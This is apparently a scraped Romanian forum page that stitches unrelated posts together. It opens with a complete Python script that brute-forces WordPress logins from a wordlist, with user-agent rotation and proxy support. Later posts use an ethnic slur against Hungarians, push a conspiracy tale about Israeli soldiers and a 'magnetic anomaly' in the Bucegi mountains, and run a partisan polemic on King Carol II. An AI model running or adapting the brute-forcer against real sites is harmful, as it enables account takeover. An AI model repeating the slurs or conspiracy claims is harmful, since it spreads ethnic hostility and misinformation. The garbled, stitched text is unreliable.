hozarares

001 #!/usr/bin/python 002 # This is wordpress bruteforcer tools 003 # This was written for educational purpose and pentest only. Use it at your own risk. 004 # Author will not be responsible for any damage !! 005 # Toolname : wpbruteforcer.py 006 # Programmer : gunslinger_ 007 # Version : 1.0 008 # Date : Wed Aug 4 13:38:13 WIT 2010 009 010 import re 011 import os 012 import sys 013 import random 014 import warnings 015 import time 016 try: 017 import mechanize 018 except ImportError: 019 print " [*] Please install mechanize python module first" 020 sys.exit(1) 021 except KeyboardInterrupt: 022 print "\n [*] Exiting program...\n" 023 sys.exit(1) 024 try: 025 import cookielib 026 except ImportError: 027 print "[*] Please install cookielib python module first" 028 sys.exit(1) 029 except KeyboardInterrupt: 030 print "\n[*] Exiting program...\n" 031 sys.exit(1) 032 033 warnings.filterwarnings(action="ignore", message=".*gzip transfer encoding is experimental!", category=UserWarning) 034 035 # define variable 036 __programmer__ = "gunslinger_ " 037 __version__ = "1.0" 038 verbose = False 039 useproxy = False 040 usepassproxy = False 041 log = 'wpbruteforcer.log' 042 file = open(log, "a") 043 success = 'Dashboard' 044 # some cheating .. 045 ouruseragent = ['Mozilla/4.0 (compatible; MSIE 5.0; SunOS 5.10 sun4u; X11)', 046 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.2pre) Gecko/20100207 Ubuntu/9.04 (jaunty) Namoroka/3.6.2pre', 047 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Avant Browser;', 048 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)', 049 'Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1)', 050 'Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.6)', 051 'Microsoft Internet Explorer/4.0b1 (Windows 95)', 052 'Opera/8.00 (Windows NT 5.1; U; en)', 053 'amaya/9.51 libwww/5.4.0', 054 'Mozilla/4.0 (compatible; MSIE 5.0; AOL 4.0; Windows 95; c_athome)', 055 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)', 056 'Mozilla/5.0 (compatible; Konqueror/3.5; Linux) KHTML/3.5.5 (like Gecko) (Kubuntu)', 057 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; ZoomSpider.net bot; .NET CLR 1.1.4322)', 058 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; QihooBot 1.0 [email]qihoobot@qihoo.net[/email])', 059 'Mozilla/4.0 (compatible; MSIE 5.0; Windows ME) Opera 5.11 [en]' 060 ] 061 wordpress = ''' 062 _ 063 | | 064 __ _____ _ __ __| |_ __ _ __ ___ ___ ___ 065 \ \ /\ / / _ \| '__/ _` | '_ \| '__/ _ \/ __/ __| 066 \ V V / (_) | | | (_| | |_) | | | __/\\__ \\__ \\ 067 \_/\_/ \\___/|_| \__,_| .__/|_| \\___||___/___/ 068 | | 069 |_| bruteforcer... 070 071 Programmer : %s 072 Version : %s''' % (__programmer__, __version__) 073 option = ''' 074 Usage : %s [options] 075 Option : -t, --target | Site for bruteforce wp-admin 076 -u, --username | User for bruteforcing 077 -w, --wordlist | Wordlist used for bruteforcing 078 -v, --verbose | Set %s will be verbose (more talkactiveable) 079 -p, --proxy | Set http proxy will be use 080 -k, --usernameproxy | Set username at proxy will be use 081 -i, --passproxy | Set password at proxy will be use 082 -l, --log | Specify output filename (default : fbbruteforcer.log) 083 -h, --help | Print this help 084 085 Example : %s -t target.com -u jack -w wordlist.txt" 086 087 P.S : add "&" to run in the background 088 ''' % (sys.argv[0], sys.argv[0], sys.argv[0]) 089 hme = ''' 090 Usage : %s [option] 091 -h or --help for get help 092 ''' % sys.argv[0] 093 094 def helpme(): 095 print wordpress 096 print option 097 file.write(wordpress) 098 file.write(option) 099 sys.exit(1) 100 101 def helpmee(): 102 print wordpress 103 print hme 104 file.write(wordpress) 105 file.write(hme) 106 sys.exit(1) 107 108 for arg in sys.argv: 109 try: 110 if arg.lower() == '-u' or arg.lower() == '--user': 111 username = sys.argv[int(sys.argv[1:].index(arg))+2] 112 if arg.lower() == '-t' or arg.lower() == '--target': 113 target = sys.argv[int(sys.argv[1:].index(arg))+2] 114 if "http://" in target: 115 target = target.replace("http://","") 116 if "www." in target: 117 target = target.replace("www.","") 118 targetsite = "http://www."+target+"/wp-login.php" 119 elif arg.lower() == '-w' or arg.lower() == '--wordlist': 120 wordlist = sys.argv[int(sys.argv[1:].index(arg))+2] 121 elif arg.lower() == '-l' or arg.lower() == '--log': 122 log = sys.argv[int(sys.argv[1:].index(arg))+2] 123 elif arg.lower() == '-p' or arg.lower() == '--proxy': 124 useproxy = True 125 proxy = sys.argv[int(sys.argv[1:].index(arg))+2] 126 elif arg.lower() == '-k' or arg.lower() == '--userproxy': 127 usepassproxy = True 128 usw = sys.argv[int(sys.argv[1:].index(arg))+2] 129 elif arg.lower() == '-i' or arg.lower() == '--passproxy': 130 usepassproxy = True 131 usp = sys.argv[int(sys.argv[1:].index(arg))+2] 132 elif arg.lower() == '-v' or arg.lower() == '--verbose': 133 verbose = True 134 elif arg.lower() == '-h' or arg.lower() == '--help': 135 helpme() 136 elif len(sys.argv) <= 1: 137 helpmee() 138 except IOError: 139 helpme() 140 except NameError: 141 helpme() 142 except IndexError: 143 helpme() 144 145 def bruteforce(word): 146 try: 147 sys.stdout.write("\r[*] Trying %s... \t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t " % word) 148 file.write("[*] Trying %s\n" % word) 149 sys.stdout.flush() 150 br.addheaders = [('User-agent', random.choice(ouruseragent))] 151 opensite = br.open(targetsite) 152 br.select_form(nr=0) 153 br.form['log'] = username 154 br.form['pwd'] = word 155 br.submit() 156 response = br.response().read() 157 if verbose: 158 print response 159 if success in response: 160 print "\n\n[*] Logging in success..." 161 print "[*] Username : %s" % (username) 162 print "[*] Password : %s\n" % (word) 163 file.write("\n[*] Logging in success...") 164 file.write("\n[*] Username : %s" % (username)) 165 file.write("\n[*] Password : %s\n\n" % (word)) 166 sys.exit(1) 167 except KeyboardInterrupt: 168 print "\n[*] Exiting program...\n" 169 sys.exit(1) 170 except mechanize._mechanize.FormNotFoundError: 171 print "\n[*] Can't launch attack sorry, form is different\n" 172 file.write("\n[*] Can't launch attack sorry, form is different\n") 173 sys.exit(1) 174 except mechanize._form.ControlNotFoundError: 175 print "\n[*] Can't launch attack sorry, form is different\n" 176 file.write("\n[*] Can't launch attack sorry, form is different\n") 177 sys.exit(1) 178 179 def releaser(): 180 global word 181 for word in words: 182 bruteforce(word.replace("\n","")) 183 184 def main(): 185 global br 186 global words 187 try: 188 br = mechanize.Browser() 189 cj = cookielib.LWPCookieJar() 190 br.set_cookiejar(cj) 191 br.set_handle_equiv(True) 192 br.set_handle_gzip(True) 193 br.set_handle_redirect(True) 194 br.set_handle_referer(True) 195 br.set_handle_robots(False) 196 br.set_debug_http(False) 197 br.set_debug_redirects(False) 198 br.set_debug_redirects(False) 199 br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(), max_time=1) 200 if useproxy: 201 br.set_proxies({"http": proxy}) 202 if usepassproxy: 203 br.add_proxy_password(usw, usp) 204 if verbose: 205 br.set_debug_http(True) 206 br.set_debug_redirects(True) 207 br.set_debug_redirects(True) 208 except KeyboardInterrupt: 209 print "\n[*] Exiting program...\n" 210 file.write("\n[*] Exiting program...\n") 211 sys.exit(1) 212 try: 213 preventstrokes = open(wordlist, "r") 214 words = preventstrokes.readlines() 215 count = 0 216 while count < len(words): 217 words[count] = words[count].strip() 218 count += 1 219 except IOError: 220 print "\n[*] Error: Check your wordlist path\n" 221 file.write("\n[*] Error: Check your wordlist path\n") 222 sys.exit(1) 223 except NameError: 224 helpme() 225 except KeyboardInterrupt: 226 print "\n[*] Exiting program...\n" 227 file.write("\n[*] Exiting program...\n") 228 sys.exit(1) 229 try: 230 print wordpress 231 print "\n[*] Starting attack at %s" % time.strftime("%X") 232 print "[*] Target site : %s" % (targetsite) 233 print "[*] Account for bruteforcing \"%s\"" % (username) 234 print "[*] Loaded :",len(words),"words" 235 print "[*] Bruteforcing wp-login, please wait..." 236 file.write(wordpress) 237 file.write("\n[*] Starting attack at %s" % time.strftime("%X")) 238 file.write("\n[*] Target site : %s" % (targetsite)) 239 file.write("\n[*] Account for bruteforcing \"%s\"" % (username)) 240 file.write("\n[*] Loaded : %d words" % int(len(words))) 241 file.write("\n[*] Bruteforcing wp-login, please wait...\n") 242 except KeyboardInterrupt: 243 print "\n[*] Exiting program...\n" 244 sys.exit(1) 245 try: 246 releaser() 247 bruteforce(word) 248 except NameError: 249 helpme() 250 251 if __name__ == '__main__': 252 main()

O sa fi coleg de camera cu el !!!!

Dupa cum am scris la inceputul topicului, la Valea Draganului (Jud. Cluj , pt tolomaci ) se realizeaza un filme unguresc despre "relatiile romano-maghiare" Citeste in continuare sursa: |Sursa: NapocaNews

Meri si lucra asa cum o fac majoritatea si asa cum o fac ( probabil ) ma`ta si tac`tu`....hai, repejor, ce mai astepti !!!

A...ca sa nu uit. Acel individ, Csibi (Ciaki) Barna, a fost prezent în 1 decembrie 2009, pentru a comemora ostentativ, chiar de Ziua Na?ional? a României, o grupare paramilitar? care s-a împotrivit actului Marii Unirii ?i s-au dedat la masacre antiromâne?ti în zona V?ii Dr?ganului ( si chiar in acest moment, se realizeaza un film unguresc despre romanii si ungurii rahatului de la Trianon, bineinteles ca ungurii vor castiga !!! ) Si atentie dintre toate televiziunile "nationale" cei de la Realitatea, Antena si daca bine`mi amintesc TVR Cluj, au instigat la arestarea acelor grupuri de romani si unguri care au protestat impotriva. Se pot gasi cateva filmulete pe Youtube in care ii puteti vedea pe reporterii celor 2 televiziuni instigand Politia. Bozgorii au primit amenda in valoare totala de 50 mii RON care a fost anulata de in"justitia" romana

Sunt gata promovati pe banii romanilor: PNL a inselat pentru a nu stiu cata oara interesul national lasand loc UDMR la guvernare.Cinei tradator : PD`L sau PNL ? Cunosc 5 familii de unguri. 5 prieteni care niciodata nu mi`au inselat increderea si nici eu lor. Imi doresc ca toti ungurii din Romania sa fie asa cum sunt prietenii mei. Pe ceilalti nu merita nici osteneala si nici sa ne manjim sangele cu blesteme la adresa lor ( vorba lu` NASUL )

Sa traiesti 1000 ani lumina Nytro...

Daca taceai poate erai mai istet !!!

Trei tineri din Miercurea Ciuc, toti de etnie maghiara, s-au ales cu dosare penale pentru instigare la discriminare. Csibi Barna, Szocs Tibor ?i Puskas Andras Miklos au afisat in data de 6 aprilie 2010, in fata supermarketului Kaufland din oras o pancarta pe care se putea citi, doar in limba maghiara, “Rusine sa-ti fie, iar ai cumparat de la evrei” (foto).Afisul folosit de cei trei (Cisibi Barna este angajatul Directiei Finantelor Publice Harghita!) este identic cu cel folosit impotriva evreilor in Ungaria in 1944, in perioada Guvernului Ferenc Szalasi, perioada in care au fost executati 200.000 de evrei. Actiunea celor trei etnici maghiari a primit autorizarea Primariei Miercurea Ciuc in data de 06.04.2010. Csibi Barna si Szocs Tibor sunt initiatorii proiectului de hotarare prin care se doreste schimbarea denumirii strazii Mihai Eminescu din Miercurea Ciuc in strada Attila, pe motiv ca poetul roman e hungarofob si xenofob.Pân? acum, organiza?iile evreie?ti din România nu au luat pozi?ie împotriva acestor manifest?ri antisemite, mul?umindu-se a simula pe bani publici ap?rarea memoriei victimelor holocaustului. Este singura (probabil) fotografie cu 2 dintre tampiti de pe net.Marile cotidiane doar au scris despre acest fapt dar nu au prezentat fotografia P.S. ATENTIE: aceste lucruri s`au intamplat in lun aprilie a.c. si pana acum toti au tacut malc !!! Sursa cu video inclus: Dan Tanasa - Contribuabilul tupeist

Nu fi rau Paznicule ...lasa`i ma sa respire.

FileBox

F?r? s? aib? vreo leg?tur? între ele, dou? publica?ii, respectiv Historia, an 10, nr. 103 (pag. 36 – 37) ?i Phoenix Mission Magazine din S.U.A. consacr? recent dou? articole uneia dintre cele mai sinistre figuri ale politicii române?ti din toate timpurile – morganaticul rege Carol al II-lea. Ciprian PL?IA?U se refer?, în Historia, la „Un scandal monden evitat. C?s?toria viitorului rege Carol al II-lea”, iar prof. dr. Marius PETRARU, din Sacramento, California, valorificând o mai veche surs? ap?rut? în Saturday Evening Post, scrie despre „Exilul regelui Carol al II-lea în Mexic ?i pelerinajul s?u deghizat în S.U.A. în 1942”. Cercet?torul român Ciprian PL?IA?U are în vedere lipsa de reac?ie a mass-media din România ?i de peste hotare fa?? de c?s?toria prin?ului mo?tenitor Carol cu principesa Elena SITTA a Greciei ?i Danemarcei, în 10 martie 1921. Constat?m c? abordarea autorului român este, pe alocuri, naiv? ?i simplist?, el luând de bune argumentele folosite de o serie de „speciali?ti” care, având în vedere monstruozitatea moral? a celui despre care scriu, î?i dau, din r?sputeri, silin?a s? prezinte doar acele adev?ruri care au menirea de a ascunde adev?rata fa?? a fostului monarh. Ciprian PL?IA?U, prin urmare, pune aceast? t?cere pe seama pretinsului servilism al mass-mediei din epoc?, considerând c?: „presa nu putea s? loveasc? în aceast? imagine, încercând s? scoat? un scandal din nunta lui Carol”. Adev?rul este, îns?, cu totul altul: la data efectu?rii c?s?toriei, Carol al II-lea, c?s?torit înc? din 1918 cu Ioana Maria Valentina LAMBRINO, la Odessa ?i tat? al lui Carol Mircea, avea pentru majoritatea ziari?tilor români, o imagine dezastruoas?. Pe de alt? parte, îns??i familia regal?, con?tient? de p?catele acestui veritabil obsedat sexual, încerca din r?sputeri s? treac? sub t?cere un eveniment care, la alte case regale, ar fi fost un prilej de mare bucurie, cu invita?i de marc? de la toate cur?ile regale ?i imperiale ale momentului. Dimpotriv?, în cazul de fa??, nunta s-a f?cut „pe ?est”, în deplin anonimat, la Atena, departe de ochii protipendadei române ?i implicit ai mass-media. Nici m?car tat?l mirelui, regele Ferdinand I, nu a fost de fa?? la acest eveniment. Nunta a fost precipitat?, iar mireasa impus? viitorului rege, compromis în ochii opiniei publice de u?urin?a cu care ?i-a abandonat prima so?ie, precum ?i primul copil ?i mo?tenitor al s?u. Potrivit unor surse, prin?esa Elena SITTA ar fi avut, înainte de c?s?torie, o aventur? sentimentalo-sexual? cu aghiotantul ei, un colonel grec. Viitorul ei so? pare a fi fost con?tient de faptul c? mireasa era deja îns?rcinat? cu viitorul pretins rege Mihai I, n?scut la cca. 7 luni dup? încheierea c?s?toriei . O serie de martori oculari au sus?inut c? Mihai I nu s-a bucurat niciodat? de dragostea tat?lui s?u, cu care dealtfel nu seam?n? absolut deloc (spre deosebire de Carol Mircea LAMBRINO, care seam?n? ca dou? pic?turi de ap? cu tat?l s?u Carol al II-lea). De altfel ar fi exagerat s? sus?inem c? mamalui , prin?esa Elena SITTA, ar fi beneficiat de un tratament diferit. În 1925, f?când pe deplin dovada totalei sale lipse de moralitate ?i responsabilitate, Carol al II-lea renun?? la calitatea sa de prin? mo?tenitor, p?r?se?te România, înso?it de amanta sa Elena LUPESCU WOLF, iar în 1928 divor?eaz? de cea de-a doua so?ie a sa, respectiv de prin?esa greac?. În ceea ce-l prive?te pe fiul s?u, la revenirea în ?ar?, în 1930, cere ?i ob?ine acordul Parlamentului de a se considera perioada sa de domnie începând din 1927, anulându-se astfel interimatul domniei, sub locotenen?? domneasc?, a lui Mihai I. Pentru salvarea aparen?elor i se acord? lui Mihai I titlul de Mare Voievod de Alba Iulia, care nu are îns? menirea de a ascunde adev?ratele sentimente nutrite de cel care se spune c? i-ar fi fost tat?. De asemenea, în 1940, când renun?? la tron ?i p?r?se?te România plecând întâi pe continentul latino-american, iar apoi în Portugalia, neavând încredere în capacit??ile intelectuale ?i în abilit??ile politice ale lui Mihai, Carol al II-lea încredin?eaz? func?ia de ?ef al statului generalului Ion ANTONESCU. Este gre?it a considera c? regele Carol al II-lea ar fi abdicat, renun?ând definitiv la tron. El a dorit s? î?i men?in? calitatea de rege ?i s? revin? în fruntea ??rii atunci când via?a politic? din România ?i situa?ia extern? ar fi permis o astfel de revenire. În ceea ce o prive?te pe Elena SITTA, dup? ce a fost abandonat? de so?ul ei, s-a retras în Italia, unde s-a aruncat în bra?ele prin?ului de Aosta. La un moment dat, ea a cerut aprobarea de a se rec?s?tori cu acesta. În cele din urm?, pentru salvarea aparen?elor, nu i s-a dat consim??mântul în acest sens. Dup? revenirea ei în ?ar?, în 1940 sunt unele acuza?ii cum c?, împreun? cu fiul ei, ar fi fost surprins? de fotografi la o serie de evenimente ale for?elor politice de extrem? dreapt? – adun?ri ?i manifest?ri legionare, dovezi care ar exista pitite prin diverse dosare aflate la arhivele statului. Cel de-al doilea articol consacrat monstruoasei personalit??i are în vedere un alt moment ilustrativ al duplicit??ii morale de care a dat dovad? Carol al II-lea. Aflat pe continentul latino-American, ini?ial la Rio de Janeiro, iar ulterior în Mexic, el a fost înso?it de amanta sa Elena Wolf Lupescu ?i de fostul ?ambelan al palatului regal, Urd?reanu, despre care exist? b?nuieli c? ar fi fost amantul amantei fostului monarh. Autorul celui de-al doilea text spune c? perioada de domnie a lui Carol al II-lea a fost una catastrofal?, îns?, el face gre?eala de a afirma c? odiosul monarh ar fi abdicat. El sus?ine c? niciodat? lui Carol nu i s-a potrivit coroana României, c? în permanen?? aceasta i-a dat dureri de cap, a?a cum la rândul lui, el a dat dureri de cap întregii clase politice române?ti interbelice. Marius PETRARU mai face gre?eala de a sus?ine c? plecarea lui Carol s-ar fi datorat atitudinii adoptate de Hitler fa?? de România. Nu doresc s? intru în polemic? cu distinsul cercet?tor nord-american, îns? îl rog s? revad? perioada dezastruoas? a domniei acestuia, marcat? de dou? devastatoare crize economice, în perioada ’30 – ’33 ?i ’37 – ’38, certurile nesfâr?ite dintre monarh ?i partidele politice, dar mai ales preocuparea boln?vicioas? ?i obstinat? a acestuia de a instaura propria sa dictatur? regal?. Marius PETRARU ne spune c?, în timp ce se afla în Mexico City, fostul rege î?i preg?tea revenirea în ?ar?, preg?tind mi?carea intitulat? România Liber?. Carol ar fi dorit ca lansarea acestei mi?c?ri s? se fac? din SUA, îns? Departamentul de Stat. i-a refuzat acordarea vizei de intrare în SUA. Carol a adresat numeroase scrisori unor proeminente personalit??i de origine român? aflate în America Latin? ?i de Nord. El sus?inea: „Exist? mult? nemul?umire în ?ara mea. Solicit compatrio?ilor mei de pretutindeni s? mi se al?ture în lupta de eliberare a ??rii natale. Putem s? o facem. Eu l-a întâlnit pe acest Hitler. Îl consider un neam? de duzin?. De asemenea n-am v?zut la el nici o scânteie de geniu; în plus, este un mincinos ordinar”. Carol, uitându-?i propriul s?u comportament dictatorial, care pusese cap?t incipientei democra?ii din ?ar?, afirma mincinos c? ar dori s? lupte împotriva lui Hitler, întrucât „trebuie sus?inut? democra?ia”. V?zând atitudinea intransigent? a autorit??ilor nord-americane, care nu s-au l?sat p?c?lite de declara?iile mincinoase ale ex-regelui, Carol al II-lea a trimis scrisori ?i unor americani influen?i în speran?a c? ace?tia ar putea interveni la Departamentul de Stat în favoarea sa. Pentru a-?i spori ?ansele de afirmare pe plan interna?ional, dup? sosirea sa în Mexic, f?r? a avea acceptul cuiva, fostul suveran s-a declarat pe sine ?i propria sa camaril? drept „Guvernul în exil”. Continuându-?i trimiterea de scrisori spre diver?i factori politici ?i diplomatici, Carol a avut tupeul s? declare c?: „Hitler m? consider? pe mine principalul obstacol al ambi?iilor lui în Europa”. Totodat?, Carol al II-lea aprecia c? Mihai ar fi în România un prizonier moral. „Când mi?carea mea România Liber? va intra în ac?iune, îl voi elibera din aceast? robie”. În perioada în care se afla în Mexico, Carol a f?cut ?i alte dovezi ale caracterului s?u, inclusiv ale zgârceniei f?r? margini de care a dat dovad?. De?i plecase din România cu o avere impresionant?, depunând în b?nci mexicane peste 6 milioane de dolari ?i sco?ând din ?ar? o impresionant? colec?ie de tablouri, precum ?i o colec?ie de timbre ce rivaliza cu cea a pre?edintelui nord-american. ?i pe p?mânt american Carol al II-lea ?i-a continuat circul s?u politic înfiin?ându-?i la propria sa re?edin?? din Coyoatan, la periferia ora?ului Mexico City, o curte regal? în calitate de „regent al României Libere”. O perioad? de timp el ?i înso?itorii s?i duc o via?? retras?, particip? la rare evenimente mondene ?i între?in cordiale rela?ii cu vecinii. Având în vedere inten?iile sale de revenire în ?ar?, Carol al II-lea depune eforturi sus?inute pentru a ajunge în SUA pe de o parte pentru a-?i lansa noua mi?care politic?, iar pe de alta pentru a ob?ine sprijinul ?i recunoa?terea oficialit??ilor americane pentru planurile sale viitoare. În plus, credem noi, deplin con?tient de for?a economic? ?i de pozi?ia de?inut? de membrii comunit??ii române din SUA, Carol al II-lea a spera c? ace?tia vor uita excesele sale dictatoriale ?i îi vor acorda sprijin. El î?i planific?, a?adar, o vizit? la sediul Bisericii Române?ti din SUA. Având în vedere refuzul constant al guvernului american când a cerut viz? de intrare, Carol al II-lea încearc? s? p?trund? fraudulos în SUA deghizat în pelerin. Unele personaje din anturajul s?u ?i din comunitatea româno-american? îi cer fostului monarh s? se ab?in? de la orice activitate politic? în timpul planificatei c?l?torii în SUA. Ahtiat, îns?, de publicitate cu orice pre?, Carol al II-lea ar fi dorit ca, pe timpul deplas?rii sale în SUA, tinere cupluri de români s?-?i oficieze c?s?toria religioas?. Carol ajunge s? recurg? la sprijinul celor pe care, cât s-a aflat la domnie, i-a nedrept??it. Se ?tie c? emigra?ia româneasc? din SUA s-a opus constant inten?iilor ?i regimului dictatorial ale lui Carol al II-lea, iar ziarul America, organul de pres? al coloniei române, interzis în România în timpul domniei sale ?i care, dup? renun?area sa la tron, în 1940, a publicat un extrem de critic articol intitulat ”Sfâr?itul unui regim însp?imânt?tor”. Cu acela?i prilej se vorbea de nevoia de epurare a eventualilor sus?in?tori ai fostului rege din rândurile comunit??ii românilor din diaspora nord-american?. Lucru surprinz?tor, îns?: Carol al II-lea va g?si sus?in?tori politici topcmai în rândul fo?tilor preo?i legionari, cu toate c? tocmai regele Carol al II-lea este cel care dispusese uciderea în ?ar? nu numai a lui Corneliu ZELEA CODREANU, ci ?i a multor altor lupt?tori ?i adep?i legionari. Astfel, Carol beneficiaz? de sprijinul Episcopului Policarp MORU?C?, în pofida faptului c? fostul om politic Carol DAVILA, aflat pe atunci în exil în SUA, avertizase biserica româneasc? din America în leg?tur? cu riscurile la care s-ar expune dac? ar fi suficient de stupid? pentru a-l sus?ine pe Carol. Acela?i om politic atr?gea aten?ia c?: „fostul rege încearc? acum o nou? ?mecherie. De data aceasta este deghizarea în pelerin. În aceast? calitate el ar urm?ri nu scopuri politice, ci doar religioase.” Carol DAVILA spune deschis c? „preo?ii care îl ajut? ?i care sper? la beneficii acum sau mai târziu de pe urma acestui pelerinaj sfânt sunt cunoscu?i ca fiind fasci?ti declara?i”. Fostul diplomat Carol DAVILA mai atrage aten?ia c?: „Când Carol ?i-a înc?lcat jur?mântul ?i Constitu?ia ??rii ?i a pus bazele regimului s?u dictatorial eu am revenit în SUA. Dup? consultarea cu oficialit??ile de stat am mers în Cleveland ?i m-am adresat românilor americani pentru a încerca s? alung confuzia acestora în raport cu faptul c? însu?i Patriarhul României devenise ?eful guvernului fascist al lui Carol. DAVILA continu? spunând c?: „Azi,, suntem martori aici în America, sub protec?ia Sfintei Cruci, la acela?i parteneriat fascist dintre Carol ?i un grup de preo?i. În timp ce el se deghizeaz? în pelerin, ace?tia se deghizeaz? în democra?i. Ei pretind c? sunt anticomuni?ti, ceea ce reprezint? o banal? surs? pentru fasci?ti. Activit??ile celorlal?i parteneri ai lui Carol, ale celor de tipul p?rin?ilor MORARIU ?i OPREANU nu mai necesit? nici o subliniere. Ei îl ajut? pe Carol de dragul avantajelor proprii exploatând sentimentele religioase inocente ale unor credincio?i ne?tiutori. Dar eu trebuie s? adresez un avertisment foarte serios p?rintelui MIH?L?EAN, care conduce Consiliul Episcopal în absen?a Episcopului fascist MORU?CA ?i care ia în b?taie de joc sentimentele majorit??ii preo?ilor români din America. Avertismentul meu este identic cu cel adresat de MANIU patriarhului CRISTEA în 1938. P?rintele MIH?L?EAN trebuie s? ?tie c? aduce cea mai proast? reputa?ie Bisericii Ortodoxe din America prin contactele lui cu familia Hohenzollern ?i cu preo?ii legionari care îl sus?in politic, ca ?i prin atitudinea ziarului episcopal „Solia”. Aceasta va avea ca efect fie totala rupere a rela?iilor acestei biserici de biserica din România, fie o migrare în mas? a membrilor ei spre alte denomina?iuni mai democratice. În ceea ce prive?te activit??ile politice ale preo?ilor legionari care îl sus?in pe Carol, este bine s? ne amintim declara?ia coerent? ?i demn? a subsecretarului de stat Summer WELLS din 13 februarie 1942, referitoare la fostul dictator regal. El a afirmat atunci c?: „Prezen?a fostului rege în SUA nu este favorabil? efortului de r?zboi al Americii ?i nici unit??ii na?ionale”. Dovedind realism ?i obiectivitate, Carol DAVILA atr?gea aten?ia c? „în compara?ie cu democra?ii români în exil, care sunt s?raci, banda lui Carol are avantajul de a fi substan?ial sus?inut? din fondurile lui. Ace?ti bani sunt singurul sprijin al mi?c?rii lor în rândul democra?iei. M? întreb unde î?i g?sesc locul Carol, banii ?i preo?ii lui legionari în „Revolu?ia Mondial?”, a?a cum este descris? ea de vicepre?edintele WALLACE.” „Nu v?d, afirma în încheiere Carol DAVILA, cum întreag? aceast? intrig?, aceast? mahmureal? provenit? de la un regim defunct ?i de la un sistem compromis se conformeaz? noii ?i intensei încrederi în democra?ie care se r?spânde?te în întreaga lume ca urmare a r?zboiului.” Dup? cum ne avertizeaz? dr. Marius PETRARU, în diverse publica?ii ?i arhive nord-americane, ca ?i în alte colec?ii str?ine, se afl? înc? multe date legate de morganaticul Carol al II-lea, dar ?i de alte momente semnificative pentru istoria noastr? na?ional?. Facem apel, a?adar, atât la Arhivele Statului, cât ?i la Ministerul de Externe al României spre a depune eforturile pe care le consider? potrivite pentru fotocopierea ?i aducerea în ?ar? a unor astfel de documente a c?ror cunoa?tere este absolut esen?ial? mai ales în aceste momente când asist?m la eforturile disperate ale unor cercuri pseudo-istorice, care încearc? trecerea sub t?cere a crimelor s?vâr?ite de Carol al II-lea ?i de al?i membri ai fostei familii regale împotriva intereselor poporului român, în speran?a readucerii cândva, din nou la putere a reprezentan?ilor acestei case regale dezavuat? inclusiv de reprezentan?ii emigra?iei române din America. Sursa: Dr. Dan BRUDA?CU

Ok.....l`am compilat dar nu l`am rulat, in schimb l`am scanat !!! Uite ce am gasit : 1.F-Prot --- W32/VBTrojan.17!Generic 2.Ikarus --- Worm.Win32.AutoRun 3.Quickheal --- VirTool.Vbinder.Gen

whatweb-0.4.2.tar.gz Sursa: MorningStar Security

E greu s? întrevezi toate dedesubturile politicii actuale, mai cu seam? de când viclenia este “virtutea” de baz? a politicienilor. Se pare ins? s? fi existat mai multe motive pentru prezen?a militarilor israelieni în mun?ii Bucegi, dup? cum indic? relat?rile oamenilor din acea zon?. Totul trebuia s? r?mân? secret, dar ca urmare a pr?bu?irii elicopterului israelian, afacerea a început s? scâr?âie, localnicii s? vorbeasc?, iar relat?rile lor se bucur? acum de aten?ia întregii ??ri. S? le afl?m: Mereu ni se spune ca e bine ca armata romana e in Afganistan si Iraq pentru ca i se ofera sansa de a se antrena in conditii reale, de razboi. Si ca ar trebui sa fim fericiti pentru asta. Acelasi lucru nu e valabil si pentru Israel? S-a spus ca Israelul ar fi dorit sa se antreneze in Bucegi intrucat zona muntoasa de acolo seamana cu lantul muntos Elbruz din Iran cel care face granita comuna cu Afganistanul, situat la nord de Teheran, insa eu nu stiu de ce tind sa nu diger aceasta explicatie…Sa fim seriosi, cine isi pune in cap sa desfasoare operatiuni militare in zone precum cea din zona cuprinsa intre Cabana Pestera – Cabana Padina – Seaua Strunga – Coltii Tapului – Cabana Vf. Omu. unde nu gasesti un loc decent de aterizare cu elicopterul ? Deci cat timp le-a trebuit salvamontistilor sa ajunga la locul accidentului, aproape 20 de ore? si asta in conditii de vara, urgenta maxima, ajutoare suplimentare? hai mai, nu ne luati de fraieri; n-or fi salvamontistii nostri cei mai grozavi din lume, dar nici babe in carje. Convingerea mea este ca au ajuns abia atunci cand au fost lasati sa ajunga…. Locul accidentului este “Coltii Tapului”, deasupra Poienii Gutanu, situata in partea vestica a Masivului Bucegi. Cea mai apropiata localitate este Moeciu de Sus, iar accesul in Poiana Gutanu se face pe un drum de caruta, cu plecare din Simon, Bran. Martori din zona spun ca toata ziua intreaga zona cuprinsa intre Babele-Vf. Omu- Muntele Gaura a fost survolata de mai multe elicoptere militare, ba chiar au fost zarite echipe de militari care pareau ca pazesc ceva , mai ales in contextul in care un cioban care se afla pe la Seaua Strunga s-a plans ca nu a fost lasat sa treaca cu oile spre Padina de doi ” militari care aveau un aparat d-ala ce parca masura curentul..”. Exact in acest areal se afla insa celebra “Gura de Rai”. E vorba despre o panta cu o suprafata de aproximativ un kilometru patrat, unde se manifesta o anomalie magnetica atipica, dupa cum o definesc specialistii, zona care are efecte benefice uluitoare asupra organismului uman. Insa in egala masura, aceasta zona de anomalie magnetica, face praf orice aparat electronic de genul celor de la bordul unui…elicopter… Înainte s? uit: cine crede?i c? se mai afl? taman acolo, în acea zon? extraordinar? a României, în tab?r? organizat? strict pe criterii religioase ?i na?ionale ? Citez: “Cinci membri ai personalului taberei, purtând c?m??i cu inscrip?ii în ebraic? ?i dou? steaguri israeliene au venit mar?i la locul unde s-a pr?bu?it elicopterul. Shai Orny, adjunctul directorului filialei JDC în România a declarat, mar?i, c? directorul taberei ?i-a dat seama c? în accident sunt implica?i israelieni, dup? ce a c?utat informa?ii pe Internet. “Imediat ce-am auzit, ne-am organizat, am f?cut ni?te sendvi?uri ?i ni?te cafea israelian? fierbinte pentru echipele israeliene de salvare ?i c?utare”, a declarat acesta.

